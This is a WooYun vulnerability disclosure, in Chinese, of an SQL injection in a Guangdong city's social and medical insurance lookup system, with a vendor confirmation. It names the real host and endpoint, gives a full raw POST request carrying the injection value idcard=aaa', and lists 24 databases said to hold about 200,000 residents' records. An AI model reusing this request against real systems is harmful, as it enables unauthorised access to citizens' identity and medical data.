当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139723

漏洞标题：广东省某市社保医保查询系统SQL注射（涉及近20W当地居民信息/20库）

相关厂商：广东省某市社保

漏洞作者： 路人甲

提交时间：2015-09-08 14:45

修复时间：2015-10-24 13:26

公开时间：2015-10-24 13:26

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-08： 细节已通知厂商并且等待厂商处理中
2015-09-09： 厂商已经确认，细节仅向厂商公开
2015-09-19： 细节向核心白帽子及相关领域专家公开
2015-09-29： 细节向普通白帽子公开
2015-10-09： 细节向实习白帽子公开
2015-10-24： 细节向公众公开

简要描述：

详细说明：

搜索了下，之前有http://ldj.jiangmen.gov.cn:8089/ 这个网站的洞，但是现在这个是更换了程序的，数据库也换成Oracle的库了，涉及24库。18W身份证信息
注入地址：http://ldj.jiangmen.gov.cn:8089/CheckProcess.aspx
涉及20w+居民身份证和医保信息

漏洞证明：

POST /ajax/CheckDetail.CheckProcess,CheckDetail.ashx?_method=Getbankphone&_session=rw HTTP/1.1
Host: ldj.jiangmen.gov.cn:8089
Content-Length: 11
Origin: http://ldj.jiangmen.gov.cn:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://ldj.jiangmen.gov.cn:8089/CheckProcess.aspx
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=e3btp145s2izezuc31mgr0qw; PHPSESSID=q4j8d4rajoidgk86o1ihvacij3; _gscu_1249467378=41528155wo8lit15; _gscs_1249467378=41528155a0wy7615|pv:10; _gscbrs_1249467378=1
idcard=aaa'

POST数据，可能过期，复现最好去重新抓取下。

available databases [24]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSCARD_CX
[*] TSCARD_DSB
[*] TSCARD_DSB_PUBLIC
[*] TSCARD_JM
[*] TSCARD_KB
[*] TSCARD_ZDJ
[*] TSMSYS
[*] USER_GONGAN
[*] USER_GONGAN1
[*] WMSYS
[*] XDB
[*] ZJ_2011

涉及24库

111.png

18w.png

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-09-09 13:25

厂商回复：

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据：高
攻击成本：低
造成影响：高
综合评级为：高，rank：10
正在联系相关网站管理单位处置。

最新状态：

暂无